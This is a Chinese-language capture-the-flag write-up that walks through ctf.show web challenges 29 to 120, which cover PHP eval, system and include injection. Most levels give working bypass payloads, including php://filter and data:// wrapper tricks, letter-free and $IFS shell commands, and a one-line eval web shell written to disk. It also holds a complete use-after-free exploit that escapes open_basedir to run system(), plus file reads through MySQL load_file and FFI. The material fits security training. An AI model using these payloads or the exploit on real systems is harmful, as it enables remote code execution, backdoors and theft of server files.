web29
php<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
代码解释判断是否存在GET型参数c 如果存在赋值给变量c 如果参数值没有匹配到字符串flag则执行代码 eval()
直接传参
第一种方法
?c=system('ls');
?c=system('tac f*');
第二种
?c=system('cp f* 1.txt');
访问1.txt
第三种
highlight_file(next(array_reverse(scandir("."))));
解释:具体来说,
scandir(".")
函数会返回当前文件所在目录下的所有文件和目录的名称列表,并以数组的形式返回。然后,array_reverse()
函数会将该数组翻转,使得最后修改的文件排在数组的第一个位置。接着,next()
函数会返回该数组的第一个元素,即最后修改的文件的名称。第四种 尝试写木马
file_put_contents("alb34t.php",%20%27<?php%20eval($_POST["cmd"]);%20?>%27);
第五种
这里的eval也可以换为include,并且可以不用括号。但是仅仅可以用来读文件了。
include可以和过滤器联合使用
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
知识点
1 eval函数可以理解为代码执行 动态执行php代码
2 system函数可以理解为命令执行 执行shell命令
3 php最后一个语句可以没有分号
eval(phpinfo()) 无输出结果
eval(phpinfo();)有输出结果
eval(phpinfo()?>) 有输出结果
4 file _get_contents() 获取文件内容 以字符串方式返回 这道题屏蔽了flag.php所以不能使用这个
web30
php<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
?c=`cp f* 1.txt`;
知识点:反引号在php中类似于system函数 可以执行shell命令
web31
php<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
连点都被过滤了
可以嵌套一个eval
?c=eval($_GET[1]);&1=phpinfo();
为什么要嵌套?c=$_GET[1]&1=phpinfo();不行嘛
不行 如果不使用函数是无法获取到变量的 简单理解就行不要想深
?c=eval($_GET[1]);&1=system('ls');
?c=eval($_GET[1]);&1=system('tac f*');
知识点 这就逃逸出来了参数1的值不属于参数c的内容 所以检测不到
第二种方法
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
pos(localeconv())返回一个. 硬背就行
scandir()获取当前目录下的文件名组成一个数组 按照顺序进行排序 最后修改在最后面
array_reverse()翻转数组
next()获取第一个数组的值
show_source()展示页面源代码
web32
php<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
空格单引号反引号 还有括号都给禁用了
知识点:include可以读取非php文件内容输出直接输出到页面,当使用
include
包含一个非 PHP 文件时,PHP 解释器会将这个文件的内容视为纯文本,并将其直接输出到浏览器/?c=include%0a$_GET[1]?>&1=/etc/passwd 输出该文件内容
二进制文件也是可以输出的/?c=include%0a$_GET[1]?>&1=/bin/ls
?c=include%0a$_GET[1]?>&1=flag.php 虽然包含了但是因为是php文件所以不输出
但是可以使用过滤器
php://filter/read=convert.base64-encode/resource=flag.php
?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
我的理解就是 过滤器获取到php文件的内容后生成了base64编码后的字符串 include包含进来 无法判定是php代码 所以直接进行输出 然后进行解码即可
web33
php<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
使用上一关payload即可多加了一个双引号 无影响
使用require也行和include一个效果都是用于文件包含
?c=require%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web34
php<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
过滤了冒号 没用 上一题payload也行 因为他识别c的内容 虽然通过1给c传值 但是1的值不属于c
?c=require%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
知识点
?c=print%0a$_GET[1]?>&1=phpinfo() 会输出字符串phpinfo()
web35
php<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
又过滤了<和= 没用 依旧使用上一题payload即可
?c=require%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web36
过滤了1-9
第一种方法
?c=require%0a$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
第二种方法
data://text/plain
是一种 PHP 中的数据流协议,它允许将数据作为 URL 直接嵌入到 PHP 代码中。具体来说,这个协议用于将纯文本数据嵌入到 PHP 脚本中,而不必将其放在单独的文件中?c=include%0a$_GET[a]?>&a=data://text/plain,<?php system("cat fla*");?>
web37
php<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
包含一个文件c 显然c的值不能是flag.php
那就使用伪协议
对于我的理解: 过程就是使用data伪协议传输数据流 include包含这个数据流 包含进来服务器就会php识别出为php代码从而执行php代码 如果不是php代码include包含进来就自动输出到页面中
第一种方法
?c=data://text/plain,<?php%20system("cat%20fla*");?>
第二种方法
因为是过滤了flag还可以这么写
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg===<?php system('cat flag.php');?>
过程就是data将数据传给变量c 然后include包含后 数据流进行解密然后执行代码
web38
php<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
禁用了php 可以使用上一题的第二种方法也可以
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
上一题的第一种方法改变一下写法也可以
?c=data://text/plain,<?=system("tac fla*")?>
web39
php<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__); }
强制在include后方加.php 无影响
?c=data://text/plain,<?php%20system("cat%20fla*");?>
举个例子 使用phpinfo()
?c=data://text/plain,<?php%20phpinfo();?>
include会包含 <?php%20phpinfo();?> .php 服务器识别出php代码从而执行默认会将phpinfo结果输出页面 然后.php字符串 前面也说了include包含纯文本内容会将页面内容输出 所以在最下方会输出.php
web40
php<?php if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
get_defined_vars()
是一个 PHP 内置函数,用于返回当前作用域中所有已定义的变量和它们的值。?c=print_r(
get_defined_vars());
加上post参数1=phpinfo();
?c=print_r(next(get_defined_vars()));
输出
?c=print_r(array_pop(next(get_defined_vars())));
对数组的值进行弹出 也就是键值对 的值弹出
执行即可
?c=eval(array_pop(next(get_defined_vars())));
GET: ?c=eval(array_pop(next(get_defined_vars())));
POST:1=system('ls');
GET: ?c=eval(array_pop(next(get_defined_vars())));
POST:1=system('tac flag.php');
web41
php
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
构造无字幕RCE 禁用了异或 并且禁用了取反 还有一种方式就是或方式构造
传参得出flag
web42
php<?php if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }else{ highlight_file(__FILE__); }
system($c." >/dev/null 2>&1");
将$c的输出 输出到黑洞中 错误输出(2)输出到标准输出(1)输出的位置 也就代表标准输出和错误输出都输出到黑洞
解决方案就是 双写绕过
?c=ls;ls 就变成了system(ls;ls." >/dev/null 2>&1"); 第二个ls的输出 输出到黑洞中 第一个ls正常输出到页面中 这个姿势就是双写绕过
或者
?c=tac%20flag.php%0a 就变成了
system(tac%20flag.php
." >/dev/null 2>&1");
这种格式 能输出 黑洞获取不到任何信息
或者
?c=cat%20flag.php;&2 和双写一个意思 就是正常输出第一个语句 然后&2>/dev/null
web43
php<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
把分号过滤了 不能使用双写方式绕过
上一题的第二种方法或者换一个更有意思的姿势
?c=tac%20flag.php&& 就变成了
system(tac%20flag.php&&." >/dev/null 2>&1");
&& 和and差不多意思 前面的语句执行成功才会执行后面的语句
传参的时候要将&&进行url编码%26%26 因为&在传参中会被识别为参数的分隔符
web44
php<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/;|cat|flag/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
过滤了flag 用通配符即可绕过
?c=tac%20fl*%26%26
?c=tac%20fl*%0a
知识点:nl和cat一样效果
web45
php<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| /i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
多过滤了空格 使用%09 意思就是tab 四个空格的位置
?c=tac%09fl*%26%26
换一个姿势
?c=echo$IFS`tac%09fl*`%0A
echo$IFS $IFS里面包含空格制表符等
翻译号的效果和system效果一样
web46
php<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
不能有*和数字
换一个通配符?即可?c=tac%09fla?.php%26%26
这个%09%26中的数字 是匹配不到的 因为到服务器端后 %09就变成tab键的四个空格 %26就变成&了
换一个姿势
?c=nl<fla%27%27g.php%7C%7C
将flag.php的内容 输入给nl 然后nl进行输出
fl''ag代表的就是flag
|| 有一个真则为真
web47
php<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
禁用了很多输出字符的命令 但是依旧没有禁用tac nl使用上一题poyload即可
?c=nl<fla%27%27g.php%7C%7C
web48
php<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
过滤了更多读取文件的命令 依旧没有过tac nl 继续白嫖
这两道题告诉我们 木桶原则太重要了 只要有一个出现问题 其余再好也没用
?c=nl<fla%27%27g.php%7C%7C
web49
php<?php 、if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
同理 说一嘴在这里传参直接传||就可以不用url编码也是可以的
?c=nl<fla%27%27g.php%7C%7C
?c=nl<fla%27%27g.php||
web50
php<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
这个时候 x09 x26都没了 不影响我们的payload
?c=nl<fla%27%27g.php||
在这里又说一嘴 在这里为什么不能用?通配符 解释:nl不支持 所以使用两个单引号也行
web51
php<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
可算过滤了tac了 但是还有nl
?c=nl<fla%27%27g.php||
web52
php<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
过滤了< 但是没有过滤$
nc用不了了
知识点$IFS是可以被正则匹配到的 $IFS在shell中代表空格制表符 所以前提是system执行时他才代表制表符等
?c=cpIFSfla?.phpIFSa.txt|| 不行
可能就是没有写权限 试一下mv 也不行?c=mvIFSfla?.phpIFSa.txt|| 也不行
换一种写法 就可以了 也不知道什么原因 硬背就行 当是一个姿势 知道原因了
如果不使用花括号,shell 可能会将变量的名称与其他字符连接在一起,导致无法正确解析变量
?c=cp{IFS}fla?.php{IFS}a.txt||
?c=mv{IFS}fla?.php{IFS}a.txt||
flag并没有在里面 看来是假的flag
?c=ls$IFS/||
?c=pwd||
?c=mv{IFS}/fla?{IFS}/var/www/html/d.txt|| 不可以
?c=cp{IFS}/fla?{IFS}d.txt|| 在根目录下不存在
?c=cp{IFS}/fla?{IFS}/var/www/html/d.txt|| 可以
换个姿势 前提知道文件位置 nl用来读取文件
?c=nl${IFS}/fla%27%27g||
web53
?c=ca%27%27t${IFS}fla?.php
php<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ echo($c); $d = system($c); echo "<br>".$d; }else{ echo 'no'; } }else{ highlight_file(__FILE__); }
system函数的返回值是返回的结果的最后一行
web54
php<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
?c=ls
?c=mv{IFS}fl?g.php{IFS}a.txt
web55
php<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
不能有字母 那就要使用经典无字母rce了
方法1 ?c=/???/????64%20????.??? 可以理解为
?c=/bin/base64%20flag.php(为啥用
base64
?因为它含有数字64可以用????64
来匹配,其他命令无法匹配到)当你使用
/bin/base64 flag.php
命令时,它会读取flag.php
文件中的内容,并将其转换成 base64 编码的形式输出。本地测试
实战
方法2 使用/usr/bin/bzip2 对文件进行压缩
?c=/???/???/????2 ????.???
最后访问/flag.php.bz2即可
方法3 比较经典 这是一个上传文件的模版 向指定url的服务器上传文件 然后服务器会自动将上传的文件放置指定目录 在linux里面临时存放文件的目录可能会被定时删除 这个目录是/tmp,然后一般网页文件会命名为php???,后面是随机的字母,即:/tmp/phpXXXXXX 所以我们需要规定一个范围[@-[],从@-[就是26个字母大写的 php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了
构造一个 post 请求并上传文件。由于没有过滤 " . "(点),所以通过执行文件中的 Linux 命令获取 flag。 Linux 中
.
(点)命令,或者叫 period,它的作用和source
命令一样,就是用当前的 shell 执行一个文件中的命令
html<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="http://27622056-3638-418a-95d0-7a217d279e6a.challenge.ctf.show/" method="post" enctype="multipart/form-data"> <!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
抓包并修改
在 burp 拦截中,通过 GET 方式传递: ?c=.%20/???/????????[@-[]
并在上传文件内容添加sh命令: #!/bin/bash pwd
第四种方法 使用八进制
使用
$'\154\163'
会执行
ls
故payload是
/?c=$'\143\141\164'%20*
解释
首先,
$
符号在命令行中通常用来表示命令提示符,表示后续的内容是要在命令行中执行的。接下来,
%27
是对单引号字符'
的 URL 编码表示。URL 编码是一种将特殊字符转换成百分号(%
)后跟两位十六进制数的表示方式。在这个例子中,%27
表示字符'
。然后,
\143\141\164
是对字符串 "cat" 的八进制编码表示。在八进制编码中,\
后面跟着三个数字表示一个字符的八进制 ASCII 值。在这个例子中,\143
表示字符 'c',\141
表示字符 'a',\164
表示字符 't'。
web56
与web55同理
php<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
没有过滤点
从而使用上一关第三种方法即可
- Linux 系统下 php 接收上传文件的 post 包,默认会将文件保存在临时文件夹 /tmp/,文件名 phpXXXXXX。
- Linux 中
.
(点)命令,或者叫 period,它的作用和source
命令一样,就是用当前的 shell 执行一个文件中的命令。- ascii 码表中,大写字母位于 " @ " 与 " [ " 之间
web57
((\~(())))=-1
需要36个
最外层((\~(())))需要取反-36变+36
payload为
?c=((\~(( ((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))
))))
更简单的方法
{##}{##}=11 ${##}=1
echo (({##}{##}+{##}{##}+{##}{##}+{##}+{##}+{##})) 也是36
注意 这个#容易出问题先url编码
web58
开始禁用函数
php<?php if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
没难度
system被禁用
换一个 c=highlight_file(next(array_reverse(scandir("."))));
web59
同理
echo file_get_contents('flag.php'); 函数被禁用了
c=highlight_file(next(array_reverse(scandir(".")))); 高亮显示文件即可
web60
c=highlight_file(next(array_reverse(scandir(".")))); 高亮显示文件即可
web61
同理 完整步骤先看一下啊当前目录下的文件
c=var_dump(scandir(dirname('FILE')));
c=highlight_file('flag.php'); 高亮显示文件即可
又学一个姿势
方法二
使用u-a 把内容写进日志里去/var/log/nginx/access.log
然后证明一下能不能执行命令 发现可以
连接蚁剑即可
web62
同理高亮显示即可
使用新姿势
include('flag.php');echo $flag;
又来一个新姿势 重命名
web63
同理高亮即可
使用新姿势
先包含然后输出所有变量
web64
同理高亮即可
web65
同理高亮即可
web66
c=print_r(scandir("/"));
c=highlight_file('/flag.txt');
web67
与上一题同理
c=print_r(scandir("/"));
c=highlight_file('/flag.txt');
web68
原始页面报个错误 无法高亮显示 源代码和前面是一样的
c=show_source("/flag.txt"); 输出页面信息函数也不让用了
那就c=include $_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include('/flag.txt'); 也可以 因为知道不是php文件了 是纯文本文件了 所以直接包含 就能把文本内容输出
web69
同web68
c=include('/flag.txt');
或
c=include $_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=/flag.txt
web70
同理
方法一
c=include('/flag.txt');
方法二
c=include $_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=/flag.txt
web71
访问后
下载源码
php<?php error_reporting(0); ini_set('display_errors', 0);# 不在浏览器输出php报错信息了 // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?> 你要上天吗?
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s); 这个替换很关键 他不上查看内容
获取缓冲区内容赋值到变量s中 然后清空缓冲区造成无法正常输出到浏览器的内容
那么就c=include('/flag.txt');die("hello"); 执行完命令后直接退出脚本防止清除缓冲区从而输出内容到浏览器c=include('/flag.txt');exit(0);也可以
web72
php<?php error_reporting(0); ini_set('display_errors', 0);# 不在浏览器输出php报错信息了 // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?> 你要上天吗?
和上一题代码一样
1 c=var_export(scandir("."));die("hello");
目录下有个flag.php
2 c=include("flag.php");echo $flag;die("hello");
查看flag文件 发现不在这里
3 c=var_export(scandir("/"));die("hello");
查看根目录下有什么 发现报错 /不允许输出在路径中查看根目录(那就是没有权限)并且有报错open_basedir
open_basedir
是一个 PHP 安全性特性,它定义了 PHP 脚本可访问的目录范围,限制了脚本的访问权限那就直接利用php脚本读目录 使用glob://伪协议绕过open_basedir
它使用
DirectoryIterator
类来遍历当前目录下的文件和文件夹,并将它们的名称输出到浏览器
phpc=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' '); } exit(0); ?>
c=include("/flag0.txt");exit(0);
发现inculde依旧不能包含 安全特性所限制目录的文件
uaf绕过open_basedir安全特性从而可以读取所限制目录下的文件
一个通用的poc 最下方修改我们需要执行的shell命令 需要进行url编码 使用时用脚本内容 不用把<?php带上
php<?php function ctfshow($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); if(!isset($backtrace[1]['args'])) { $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= sprintf("%c",($ptr & 0xff)); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf("%c",($v & 0xff)); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; write($abc, 0x60, 2); write($abc, 0x70, 6); write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd); exit(); } ctfshow("cat /flag0.txt");ob_end_flush(); ?>
web73
用不了上一题的通用poc了 因为禁用了strlen 但是可以改一个函数自定义一个函数只要是能实现strlen效果即可
c=var_export(scandir('/'));exit(0);
根目录下有一个flagc.txt文件
c=include('/flagc.txt');exit(0);
web74
禁用了scandir函数
那就使用web72的glob协议 查看目录下文件
直接包含这个文件
web75
和上一题一样
文件换成了flag36.txt 但是禁用了include函数
直接ai搜索 和include一样的函数有哪些
require也不行 file_get_contents函数也不行
判断当前数据库
sqlc=$dsn = "mysql:host=localhost;dbname=information_schema"; $db = new PDO($dsn, 'root', 'root'); $rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA"); foreach($rs as $row){ echo($row[0])."|"; }exit();
那就用数据库读
sqlc=$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining"); $sql = "select load_file('/flag36.txt') as a"; $row = mysqli_query($conn, $sql); while($result=mysqli_fetch_array($row)){ echo $result['a']; } exit();
web76
同理 用glob协议 然后用数据库读
sqlc=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- >getMessage();exit(0);}exit(0);
web77
使用数据库连接的时候报错
但是报
could not find driver
的错误,表明此题无法使用PDO连接数据库查看writeup,此题利用的是PHP 7.4+的FFI特性,即外部函数接口特性
提示 看来这个很牛呀
同理使用glob扫目录 发现flag36x.txt和readflag 但是文件包含都不行了
那就是用提示说的FFI特性 简单理解就是通过FFI,可以实现调用system函数,从而执行命令
sqlc=$ffi = FFI::cdef("int system(const char *command);"); $a='/readflag > 1.txt'; $ffi->system($a);
web118
是一个窗口
查看源码 发现是system($code) 命令执行
经过测试禁用了很多东西 很多很多
$IFS可以 思路就是使用系统变量 构造我需要的poc
这些都是系统的环境变量
这是答案{PATH:\~A}{PWD:~A}$IFS????.???
解释一下
PATH变量输出结尾一般都是n
因为网站默认根目录为/var/www/html 所以${PWD:~A}取值就是l
题目还提示flag在flag.php中
所以就是{PATH:\~A}{PWD:~A}$IFS????.???
翻译过来就是 nl flag.php
注意 因果过滤了很多 如何判断过滤了哪些呢 写一个小字典把所有字符写出来 然后使用bp爆破 因为如果是过滤的页面就会返回evil input 否则什么都没有 这么一看数据包是有区别的 最后发现可以用发现可以用
大写字母A-Z
和${}~.?:
web119
大师傅讲的我没有听懂 太难了根本理解不了
但是网上找的都好理解
首先看
第一种方法
答案是
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
使用的方法是 /bin/base64 flag.php的方式
/使用{PWD::{#SHLVL}}构造
4使用${#RANDOM}构造
因为RANDOM属于随机变量 输出4或者5 所以多提交几次即可
第二种方法
${PWD} :/var/www/html
${USER} :www-data
${HOME} :当前用户的主目录
开始构造:可以构造一下/bin/cat
/:{PWD::{#SHLVL}}
a:${USER:~A}
t:{USER:\~{#SHLVL}:${#SHLVL}}
构造出/bin/cat flag.php
答案是
{PWD::{#SHLVL}}???{PWD::{#SHLVL}}?${USER:~A}? ????.???
{PWD::{#SHLVL}}???{PWD::{#SHLVL}}??{USER:\~{#SHLVL}:${#SHLVL}} ????.???
web120
给出了源码
